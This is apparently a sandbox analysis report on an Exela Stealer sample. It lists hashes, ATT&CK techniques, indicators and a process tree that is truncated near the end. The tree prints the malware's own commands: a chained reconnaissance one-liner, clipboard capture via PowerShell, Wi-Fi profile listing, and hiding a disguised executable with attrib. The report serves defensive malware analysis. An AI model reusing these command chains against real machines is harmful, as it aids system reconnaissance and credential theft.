exelastealer | db5aa1e4cc44f39d0fca774331b94cf44fb22ec238aa331d398cdc405124277e

Analysis

max time kernel
148s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/09/2026, 08:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-13_ff3166df720351481ea5464fab2dae86_cobalt-strike_elex_glassworm_icedid_njrat.exe
Size 9.9MB
Sample260913-jw7mcagh66
SHA256 db5aa1e4cc44f39d0fca774331b94cf44fb22ec238aa331d398cdc405124277e
MD5 ff3166df720351481ea5464fab2dae86
SHA1 e73ecc14ba3dd46d2f7dce9fcced77e44654cac9
SHA512 f006d70daf25ef84c8f55180b0cae4ea6b7abf22e2933515d7a5bf294de7a4d996d3519264e20dac08158284d9d6493dbddf7e597d579e3a19fc790c4c4a25c5
SSDEEP 196608:Gbe0hBkxWJHug7b56rom88NPimeNRHFJMIDJ+gsAGKkR0heohbW2T:Gxh7JkpoFFqy+gs1dohz
TLSH
T1CFA633A077E045A2E8BB463E846BD059DAB0F8111364FACF6324871D1F337A52C7A7B5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution exelastealer persistence privilege_escalation pyinstaller spyware stealer upx

Malware Config

Signatures

Family: Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
stealer exelastealer
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5756	netsh.exe
2692	netsh.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2292	cmd.exe
3656	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4164	cleaner.exe
1372	cleaner.exe

Loads dropped DLL 32 IoCs

pid	Process
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe
1372	cleaner.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
5244	ARP.EXE
2548	cmd.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 5 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4532	tasklist.exe
4732	tasklist.exe
2608	tasklist.exe
5916	tasklist.exe
3048	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3960	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c5a7-67.dat	upx
behavioral2/memory/1372-74-0x00007FFDB9EB0000-0x00007FFDBA31E000-memory.dmp	upx
behavioral2/files/0x000d00000001c572-72.dat	upx
behavioral2/files/0x000c00000001c59f-79.dat	upx
behavioral2/memory/1372-80-0x00007FFDD1130000-0x00007FFDD1154000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a0-83.dat	upx
behavioral2/files/0x000d00000001c57c-100.dat	upx
behavioral2/memory/1372-101-0x00007FFDD1120000-0x00007FFDD112F000-memory.dmp	upx
behavioral2/memory/1372-103-0x00007FFDD1100000-0x00007FFDD1119000-memory.dmp	upx
behavioral2/memory/1372-105-0x00007FFDCF800000-0x00007FFDCF82D000-memory.dmp	upx
behavioral2/memory/1372-107-0x00007FFDCECF0000-0x00007FFDCED09000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a8-108.dat	upx
behavioral2/memory/1372-111-0x00007FFDCECD0000-0x00007FFDCECEF000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a9-112.dat	upx
behavioral2/memory/1372-113-0x00007FFDC2E80000-0x00007FFDC2FF1000-memory.dmp	upx
behavioral2/memory/1372-118-0x00007FFDC77F0000-0x00007FFDC78A8000-memory.dmp	upx
behavioral2/memory/1372-123-0x00007FFDB9B30000-0x00007FFDB9EA5000-memory.dmp	upx
behavioral2/files/0x000d00000001c564-124.dat	upx
behavioral2/memory/1372-128-0x00007FFDCFE20000-0x00007FFDCFE30000-memory.dmp	upx
behavioral2/memory/1372-133-0x00007FFDD7130000-0x00007FFDD7144000-memory.dmp	upx
behavioral2/memory/1372-139-0x00007FFDD3270000-0x00007FFDD328E000-memory.dmp	upx
behavioral2/memory/1372-143-0x00007FFDD3250000-0x00007FFDD3268000-memory.dmp	upx
behavioral2/memory/1372-153-0x00007FFDB9B30000-0x00007FFDB9EA5000-memory.dmp	upx
behavioral2/memory/1372-162-0x00007FFDD3180000-0x00007FFDD318A000-memory.dmp	upx
behavioral2/memory/1372-163-0x00007FFDCED60000-0x00007FFDCED78000-memory.dmp	upx
behavioral2/memory/1372-164-0x00007FFDBC800000-0x00007FFDBD1A7000-memory.dmp	upx
behavioral2/memory/1372-165-0x00007FFDCED20000-0x00007FFDCED56000-memory.dmp	upx
behavioral2/files/0x000c00000001c59d-161.dat	upx
behavioral2/memory/1372-159-0x00007FFDD3190000-0x00007FFDD31BB000-memory.dmp	upx
behavioral2/memory/1372-158-0x00007FFDCE4D0000-0x00007FFDCE4E5000-memory.dmp	upx
behavioral2/memory/1372-194-0x00007FFDCED10000-0x00007FFDCED1D000-memory.dmp	upx
behavioral2/files/0x000d00000001c582-157.dat	upx
behavioral2/memory/1372-156-0x00007FFDD31C0000-0x00007FFDD31D1000-memory.dmp	upx
behavioral2/memory/1372-199-0x00007FFDD3250000-0x00007FFDD3268000-memory.dmp	upx
behavioral2/files/0x000d00000001c581-154.dat	upx
behavioral2/memory/1372-151-0x00007FFDD31E0000-0x00007FFDD322B000-memory.dmp	upx
behavioral2/memory/1372-150-0x00007FFDD3230000-0x00007FFDD3243000-memory.dmp	upx
behavioral2/memory/1372-149-0x00007FFDC77F0000-0x00007FFDC78A8000-memory.dmp	upx
behavioral2/files/0x000d00000001c57e-147.dat	upx
behavioral2/files/0x000d00000001c57f-145.dat	upx
behavioral2/memory/1372-142-0x00007FFDCECA0000-0x00007FFDCECCE000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a4-141.dat	upx
behavioral2/files/0x000c00000001c5ad-138.dat	upx
behavioral2/memory/1372-137-0x00007FFDCED80000-0x00007FFDCEE98000-memory.dmp	upx
behavioral2/memory/1372-136-0x00007FFDCECD0000-0x00007FFDCECEF000-memory.dmp	upx
behavioral2/files/0x000c00000001c5aa-134.dat	upx
behavioral2/files/0x000d00000001c574-132.dat	upx
behavioral2/memory/1372-131-0x00007FFDCBE40000-0x00007FFDCBE5C000-memory.dmp	upx
behavioral2/memory/1372-130-0x00007FFDCECF0000-0x00007FFDCED09000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a2-129.dat	upx
behavioral2/files/0x000d00000001c577-126.dat	upx
behavioral2/memory/1372-125-0x00007FFDCE4D0000-0x00007FFDCE4E5000-memory.dmp	upx
behavioral2/memory/1372-121-0x00007FFDD1130000-0x00007FFDD1154000-memory.dmp	upx
behavioral2/files/0x000c00000001c59e-120.dat	upx
behavioral2/memory/1372-117-0x00007FFDB9EB0000-0x00007FFDBA31E000-memory.dmp	upx
behavioral2/memory/1372-115-0x00007FFDCECA0000-0x00007FFDCECCE000-memory.dmp	upx
behavioral2/files/0x000d00000001c57b-114.dat	upx
behavioral2/files/0x000d00000001c57a-110.dat	upx
behavioral2/memory/1372-109-0x00007FFDD10F0000-0x00007FFDD10FD000-memory.dmp	upx
behavioral2/files/0x000d00000001c579-106.dat	upx
behavioral2/files/0x000d00000001c575-104.dat	upx
behavioral2/files/0x000d00000001c565-102.dat	upx
behavioral2/files/0x000d00000001c578-96.dat	upx
behavioral2/files/0x000d00000001c576-94.dat	upx

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
368	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000e00000001c55f-7.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 17 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5576	cmd.exe
1144	cmd.exe
4292	cmd.exe
6080	cmd.exe
4196	cmd.exe
5600	cmd.exe
5004	cmd.exe
5384	cmd.exe
4624	cmd.exe
1052	cmd.exe
1680	cmd.exe
5588	cmd.exe
3400	cmd.exe
5508	cmd.exe
1936	cmd.exe
4960	cmd.exe
5476	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4560	netsh.exe
3400	cmd.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
3124	NETSTAT.EXE

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
5804	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5396	WMIC.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4712	ipconfig.exe
3124	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2404	systeminfo.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000_Classes\Local Settings	2026-09-13_ff3166df720351481ea5464fab2dae86_cobalt-strike_elex_glassworm_icedid_njrat.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
1372	cleaner.exe
1372	cleaner.exe
3536	WMIC.exe
3536	WMIC.exe
3536	WMIC.exe
3536	WMIC.exe
5396	WMIC.exe
5396	WMIC.exe
5396	WMIC.exe
5396	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
2920	WMIC.exe
884	WMIC.exe
884	WMIC.exe
884	WMIC.exe
884	WMIC.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
5804	WMIC.exe
5804	WMIC.exe
5804	WMIC.exe
5804	WMIC.exe
1164	WMIC.exe
1164	WMIC.exe
1164	WMIC.exe
1164	WMIC.exe
720	WMIC.exe
720	WMIC.exe
720	WMIC.exe
720	WMIC.exe
4272	powershell.exe
4272	powershell.exe
4272	powershell.exe
1800	WMIC.exe
1800	WMIC.exe
1800	WMIC.exe
1800	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3536	WMIC.exe
Token: SeSecurityPrivilege	3536	WMIC.exe
Token: SeTakeOwnershipPrivilege	3536	WMIC.exe
Token: SeLoadDriverPrivilege	3536	WMIC.exe
Token: SeSystemProfilePrivilege	3536	WMIC.exe
Token: SeSystemtimePrivilege	3536	WMIC.exe
Token: SeProfSingleProcessPrivilege	3536	WMIC.exe
Token: SeIncBasePriorityPrivilege	3536	WMIC.exe
Token: SeCreatePagefilePrivilege	3536	WMIC.exe
Token: SeBackupPrivilege	3536	WMIC.exe
Token: SeRestorePrivilege	3536	WMIC.exe
Token: SeShutdownPrivilege	3536	WMIC.exe
Token: SeDebugPrivilege	3536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3536	WMIC.exe
Token: SeRemoteShutdownPrivilege	3536	WMIC.exe
Token: SeUndockPrivilege	3536	WMIC.exe
Token: SeManageVolumePrivilege	3536	WMIC.exe
Token: 33	3536	WMIC.exe
Token: 34	3536	WMIC.exe
Token: 35	3536	WMIC.exe
Token: 36	3536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5396	WMIC.exe
Token: SeSecurityPrivilege	5396	WMIC.exe
Token: SeTakeOwnershipPrivilege	5396	WMIC.exe
Token: SeLoadDriverPrivilege	5396	WMIC.exe
Token: SeSystemProfilePrivilege	5396	WMIC.exe
Token: SeSystemtimePrivilege	5396	WMIC.exe
Token: SeProfSingleProcessPrivilege	5396	WMIC.exe
Token: SeIncBasePriorityPrivilege	5396	WMIC.exe
Token: SeCreatePagefilePrivilege	5396	WMIC.exe
Token: SeBackupPrivilege	5396	WMIC.exe
Token: SeRestorePrivilege	5396	WMIC.exe
Token: SeShutdownPrivilege	5396	WMIC.exe
Token: SeDebugPrivilege	5396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5396	WMIC.exe
Token: SeRemoteShutdownPrivilege	5396	WMIC.exe
Token: SeUndockPrivilege	5396	WMIC.exe
Token: SeManageVolumePrivilege	5396	WMIC.exe
Token: 33	5396	WMIC.exe
Token: 34	5396	WMIC.exe
Token: 35	5396	WMIC.exe
Token: 36	5396	WMIC.exe
Token: SeDebugPrivilege	4532	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5396	WMIC.exe
Token: SeSecurityPrivilege	5396	WMIC.exe
Token: SeTakeOwnershipPrivilege	5396	WMIC.exe
Token: SeLoadDriverPrivilege	5396	WMIC.exe
Token: SeSystemProfilePrivilege	5396	WMIC.exe
Token: SeSystemtimePrivilege	5396	WMIC.exe
Token: SeProfSingleProcessPrivilege	5396	WMIC.exe
Token: SeIncBasePriorityPrivilege	5396	WMIC.exe
Token: SeCreatePagefilePrivilege	5396	WMIC.exe
Token: SeBackupPrivilege	5396	WMIC.exe
Token: SeRestorePrivilege	5396	WMIC.exe
Token: SeShutdownPrivilege	5396	WMIC.exe
Token: SeDebugPrivilege	5396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5396	WMIC.exe
Token: SeRemoteShutdownPrivilege	5396	WMIC.exe
Token: SeUndockPrivilege	5396	WMIC.exe
Token: SeManageVolumePrivilege	5396	WMIC.exe
Token: 33	5396	WMIC.exe
Token: 34	5396	WMIC.exe
Token: 35	5396	WMIC.exe
Token: 36	5396	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1016	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 4164	2864	2026-09-13_ff3166df720351481ea5464fab2dae86_cobalt-strike_elex_glassworm_icedid_njrat.exe	88
PID 4164 wrote to memory of 1372	4164	cleaner.exe	89
PID 1372 wrote to memory of 5476	1372	cleaner.exe	91
PID 1372 wrote to memory of 5588	1372	cleaner.exe	93
PID 1372 wrote to memory of 1936	1372	cleaner.exe	94
PID 1372 wrote to memory of 1680	1372	cleaner.exe	95
PID 1372 wrote to memory of 4624	1372	cleaner.exe	96
PID 5588 wrote to memory of 5396	5588	cmd.exe	101
PID 1936 wrote to memory of 3536	1936	cmd.exe	102
PID 4624 wrote to memory of 4532	4624	cmd.exe	103
PID 1372 wrote to memory of 5508	1372	cleaner.exe	105
PID 5508 wrote to memory of 2920	5508	cmd.exe	107
PID 1372 wrote to memory of 1052	1372	cleaner.exe	108
PID 1372 wrote to memory of 1144	1372	cleaner.exe	109
PID 1052 wrote to memory of 884	1052	cmd.exe	112
PID 1144 wrote to memory of 4732	1144	cmd.exe	113
PID 1372 wrote to memory of 3960	1372	cleaner.exe	114
PID 3960 wrote to memory of 4640	3960	cmd.exe	116
PID 1372 wrote to memory of 4292	1372	cleaner.exe	117
PID 4292 wrote to memory of 2608	4292	cmd.exe	119
PID 1372 wrote to memory of 5576	1372	cleaner.exe	120
PID 1372 wrote to memory of 5004	1372	cleaner.exe	121
PID 1372 wrote to memory of 5600	1372	cleaner.exe	122
PID 1372 wrote to memory of 2292	1372	cleaner.exe	123
PID 5576 wrote to memory of 4196	5576	cmd.exe	128
PID 2292 wrote to memory of 3656	2292	cmd.exe	129
PID 5600 wrote to memory of 5916	5600	cmd.exe	130
PID 5004 wrote to memory of 6080	5004	cmd.exe	131
PID 4196 wrote to memory of 4968	4196	cmd.exe	132
PID 6080 wrote to memory of 4700	6080	cmd.exe	133
PID 1372 wrote to memory of 3400	1372	cleaner.exe	134
PID 1372 wrote to memory of 2548	1372	cleaner.exe	136
PID 3400 wrote to memory of 4560	3400	cmd.exe	138
PID 2548 wrote to memory of 2404	2548	cmd.exe	139
PID 2548 wrote to memory of 5076	2548	cmd.exe	141
PID 2548 wrote to memory of 5804	2548	cmd.exe	142
PID 2548 wrote to memory of 5020	2548	cmd.exe	143
PID 5020 wrote to memory of 1204	5020	net.exe	144
PID 2548 wrote to memory of 4092	2548	cmd.exe	145
PID 4092 wrote to memory of 6140	4092	query.exe	146
PID 2548 wrote to memory of 4136	2548	cmd.exe	147
PID 4136 wrote to memory of 5908	4136	net.exe	148
PID 2548 wrote to memory of 3104	2548	cmd.exe	149
PID 3104 wrote to memory of 2476	3104	net.exe	150
PID 2548 wrote to memory of 4400	2548	cmd.exe	151
PID 4400 wrote to memory of 3264	4400	net.exe	152
PID 2548 wrote to memory of 4300	2548	cmd.exe	153
PID 4300 wrote to memory of 4264	4300	net.exe	154
PID 2548 wrote to memory of 1164	2548	cmd.exe	155
PID 2548 wrote to memory of 3048	2548	cmd.exe	156
PID 2548 wrote to memory of 4712	2548	cmd.exe	157
PID 2548 wrote to memory of 480	2548	cmd.exe	158
PID 2548 wrote to memory of 5244	2548	cmd.exe	159
PID 2548 wrote to memory of 3124	2548	cmd.exe	160
PID 2548 wrote to memory of 368	2548	cmd.exe	161
PID 2548 wrote to memory of 5756	2548	cmd.exe	162
PID 2548 wrote to memory of 2692	2548	cmd.exe	163
PID 1372 wrote to memory of 5384	1372	cleaner.exe	164
PID 5384 wrote to memory of 720	5384	cmd.exe	166
PID 1372 wrote to memory of 1068	1372	cleaner.exe	167
PID 1068 wrote to memory of 4272	1068	cmd.exe	169
PID 4272 wrote to memory of 5776	4272	powershell.exe	170
PID 5776 wrote to memory of 5664	5776	csc.exe	171
PID 1372 wrote to memory of 4960	1372	cleaner.exe	172

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4640	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-09-13_ff3166df720351481ea5464fab2dae86_cobalt-strike_elex_glassworm_icedid_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-13_ff3166df720351481ea5464fab2dae86_cobalt-strike_elex_glassworm_icedid_njrat.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Users\Admin\AppData\Local\Temp\cleaner.exe
  "C:\Users\Admin\AppData\Local\Temp\cleaner.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Users\Admin\AppData\Local\Temp\cleaner.exe
    "C:\Users\Admin\AppData\Local\Temp\cleaner.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      Executes a command shell one-liner
      PID:5476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5588
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5396
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1936
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "gdb --version"
      4⤵
      Executes a command shell one-liner
      PID:1680
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4624
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:4532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5508
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1052
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1144
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Discovers running processes
        
        PID:4732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ UpdateService\ .exe""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:3960
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\ UpdateService\ .exe"
        5⤵
        Views/modifies file attributes
        
        PID:4640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4292
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Discovers running processes
        
        PID:2608
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5576
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4196
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:4968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5004
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6080
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:4700
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5600
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Discovers running processes
        
        PID:5916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
      4⤵
      Clipboard Data
      Suspicious use of WriteProcessMemory
      PID:2292
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:3656
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:3400
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4560
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
      4⤵
      Network Service Discovery
      Suspicious use of WriteProcessMemory
      PID:2548
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:2404
    - - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        5⤵
        
        PID:5076
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        5⤵
        Collects information from the system
        Suspicious behavior: EnumeratesProcesses
        
        PID:5804
    - - C:\Windows\system32\net.exe
        
        net user
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5020
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        6⤵
        
        PID:1204
    - - C:\Windows\system32\query.exe
        
        query user
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4092
      - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        6⤵
        
        PID:6140
    - - C:\Windows\system32\net.exe
        
        net localgroup
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4136
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        6⤵
        
        PID:5908
    - - C:\Windows\system32\net.exe
        
        net localgroup administrators
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3104
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        6⤵
        
        PID:2476
    - - C:\Windows\system32\net.exe
        
        net user guest
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4400
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        6⤵
        
        PID:3264
    - - C:\Windows\system32\net.exe
        
        net user administrator
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4300
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
